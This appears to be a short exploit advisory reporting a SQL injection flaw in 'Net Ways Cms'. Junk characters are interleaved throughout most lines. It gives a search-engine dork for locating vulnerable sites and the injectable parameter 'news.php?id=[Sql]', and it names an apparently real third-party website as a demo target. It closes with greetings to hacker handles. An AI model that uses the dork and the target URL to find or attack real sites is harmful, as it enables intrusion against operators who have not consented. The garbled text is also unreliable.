################################################################################??######## ! M+ Q X! K C9 ~, m; H- o
#
6 I$ J& v9 O' v# Exploit Title : Net Ways Cms Sql Injection Vulnerability
$ S) D- Q/ Y9 @" g( j% i) `4 P#
5 b9 N6 K, @* d& S+ W8 B" ~- g7 _$ B" u# Author : IrIsT.Ir
4 a5 n# t% }$ O; ~4 x( @# f+ _' d* o#
3 |; [2 i: Z% |5 a/ ~# R# Discovered By : Am!r " Y, h# a6 o4 r, q5 A. t0 g: Q
# 9 \9 e3 G2 K) {+ ? V- }; K
# Home : http://IrIsT.Ir/forum
* @! F& m5 }% L0 o3 a% [3 _#
8 ~+ G4 w0 H/ Y( m: e0 u# Software Link : http://www.netways.com/ www.political-security.com
& ~& T% j, v9 @9 _- H# k% X- Y#
* @# v# |' V( h# Security Risk : High
* h0 m6 B; G6 R; E4 X# 7 t# r" h$ J! _$ m3 F5 f
# Version : All Version 7 `2 O- V ?3 d9 w
#
& ^+ z( D) ^. l2 T1 Y6 P& ~# Tested on : GNU/Linux Ubuntu - Windows Server - win7 3 |; w, V+ l3 g' x- }
#
/ B6 m( P8 l1 m; G& W& ?# Dork : intext:"Designed & developed by NetWays" & O+ Q# r; l+ m; P4 b3 R
# ' Y3 S0 m' }0 O2 g; G
################################################################################??######## 3 { Y; @- }& K+ u& l
#
$ P- {9 ?1 ^0 n& T8 u8 o# Expl0iTs : / D& u6 Z1 p# x# b
# 3 b! L5 z7 o7 s# [2 w
# http://target.com/news.php?id=[Sql] / Z2 J/ t( e, q$ d; u+ N
#
?; L/ i( X( C. d# : a- G/ w; \2 n
# D3mo : ' P# p- ~6 P. S# X) h6 {
# % d0 W) F q7 g$ r) P
# http://compagnieparento.com/news.php?id=7[Sql] 7 R/ |+ n" E7 I% H( Q
# 0 m I; t9 s) w/ P6 m$ N
################################################################################??######## 3 m& a( ~( `( U K+ U
#
- W6 C6 o( y4 N( t3 S. @2 T' d# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r & |# \2 S3 U% W" W
# 6 V. n- { m" d! V$ b, X( o
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r ' a5 E# P2 z$ A1 j
# 7 F8 Q( D: L: o* X9 m0 x
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum 7 u" b9 ]9 z8 |7 k3 T
# # B1 I" X- G. ]2 m
################################################################################??######## |